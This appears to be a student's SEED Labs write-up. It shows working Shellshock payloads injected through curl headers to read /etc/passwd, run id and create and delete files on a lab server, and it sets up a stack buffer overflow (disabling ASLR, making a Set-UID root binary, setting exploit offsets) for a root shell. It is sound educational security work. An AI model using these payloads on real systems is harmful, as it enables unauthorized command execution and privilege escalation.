Task 1:

1. -A seems to set the User-Agent header.

```
[11/08/24]seed@VM:~/.../Shellshock$ curl http://www.seedlab-shellshock.
com/cgi-bin/vul.cgi -v -A "word"
*   Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/vul.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: word
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sat, 09 Nov 2024 06:05:04 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Content-Length: 13
< Content-Type: text/plain
<
```

The -e option will set the referrer header.

```
[11/08/24]seed@VM:~/.../Shellshock$ curl http://www.seedlab-shellshock.
com/cgi-bin/vul.cgi -v -e "word"
*   Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/vul.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: curl/7.68.0
> Accept: */*
> Referer: word
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sat, 09 Nov 2024 06:06:43 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Content-Length: 13
```

The -H option will set a custom header.

```
* Connection #0 to host www.seedlab-shellshock.com left intact
[11/08/24]seed@VM:~/.../Shellshock$ curl http://www.seedlab-shellshock.
com/cgi-bin/vul.cgi -v -H "Header: word"
*   Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/vul.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: curl/7.68.0
> Accept: */*
> Header: word
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sat, 09 Nov 2024 06:09:04 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Content-Length: 13
```

2a. Content of /etc/passwd file:

```
* Connection #0 to host www.seedlab-shellshock.com left intact
[11/08/24]seed@VM:~/.../Shellshock$ curl http://www.seedlab-shellshock.com/cgi-bin/vul.cgi -v -A "() { echo word; }; echo; /bin/cat
 /etc/passwd"
*   Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/vul.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: () { echo word; }; echo; /bin/cat /etc/passwd
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sat, 09 Nov 2024 06:13:05 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Transfer-Encoding: chunked
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
```

2b. Process User ID:

```
[11/08/24]seed@VM:~/.../Shellshock$ curl http://www.seedlab-shellshock.com/cgi-bin/vul.cgi -e "() { echo word;}; echo; /bin/id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[11/08/24]seed@VM:~/.../Shellshock$
```

2c. Creating the file in tmp:

```
[11/08/24]seed@VM:~/.../Shellshock$ curl http://www.seedlab-shellshock.com/cgi-bin/vul.cgi -e "() { echo word;}; echo; /bin/touch /
tmp/file.txt"
[11/08/24]seed@VM:~/.../Shellshock$ curl http://www.seedlab-shellshock.com/cgi-bin/vul.cgi -e "() { echo word;}; echo; /bin/ls /tmp
file.txt
```

2d. Deleting the file.

```
[11/08/24]seed@VM:~/.../Shellshock$ curl http://www.seedlab-shellshock.com/cgi-bin/vul.cgi -e "() { echo word;}; echo; /bin/rm /tmp
/file.txt"
[11/08/24]seed@VM:~/.../Shellshock$ curl http://www.seedlab-shellshock.com/cgi-bin/vul.cgi -e "() { echo word;}; echo; /bin/ls /tmp
"
[11/08/24]seed@VM:~/.../Shellshock$
```

3a. No, we would not be able to gain access to the shadow file because we do have the right permissions to get into that file. The ID did not return 0 for root, so that is how we know we do not have root access.

3b. No, it did not seem to work in my testing, with it often filtering out the function format of “() { “ causing it to not let Shellshock be performed.

```
[11/08/24]seed@VM:~/.../Shellshock$ curl http://www.seedlab-shellshock.com/cgi-bin/vul.cgi?"() { echo; } echo; /bin/id"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at www.seedlab-shellshock.com Port 80</address>
</body></html>
```

Task 2:

a. To be able to overwrite the stack for the attack, compiling with stack execution is allowed, stack protection is now disabled and is in 32 bit mode.

```
[11/08/24]seed@VM:~/.../BufferOverflow$ gcc -o stack -z execstack -fno-
stack-protector stack.c -m32
[11/08/24]seed@VM:~/.../BufferOverflow$
```

I turned address randomization off, this will help find the location of the return address.

```
[11/08/24]seed@VM:~/.../BufferOverflow$ sudo sysctl -w kernel.randomize
_va_space=0
kernel.randomize_va_space = 0
```

Having the symbolic weak point to a vulnerable shell, this is because /bin/sh will usually point to /bin/dash which has a countermeasure to drop privileges for a shell when ran via Set-UID.

```
[11/08/24]seed@VM:~/.../BufferOverflow$ sudo ln -sf /bin/zsh /bin/sh
[11/08/24]seed@VM:~/.../BufferOverflow$
```

We need to have root access to get into the root shell so made the program into a root owned Set-UID program.

```
[11/08/24]seed@VM:~/.../BufferOverflow$ sudo chown root stack
[11/08/24]seed@VM:~/.../BufferOverflow$ sudo chmod 4755 stack
[11/08/24]seed@VM:~/.../BufferOverflow$
```

b. First, make a debug version of stack.c file.

```
[11/08/24]seed@VM:~/.../BufferOverflow$ gdb debug
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
```

Breakpoint at foo.

```
gdb-peda$ b foo
Breakpoint 1 at 0x122d: file stack.c, line 6.
gdb-peda$
```

Calculate distance between the buffer base and the return address.

Now, edit exploit.py with the appropriate values.

```
19 # Decide the return address value
20 # and put it somewhere in the payload
21 ret    = 0xffffcf57         # Change this number
22 offset = 119               # Change this number
23
24 L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
25 content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
26 ###################################################################
27
```

This will cause buffer overflow and gain root shell access.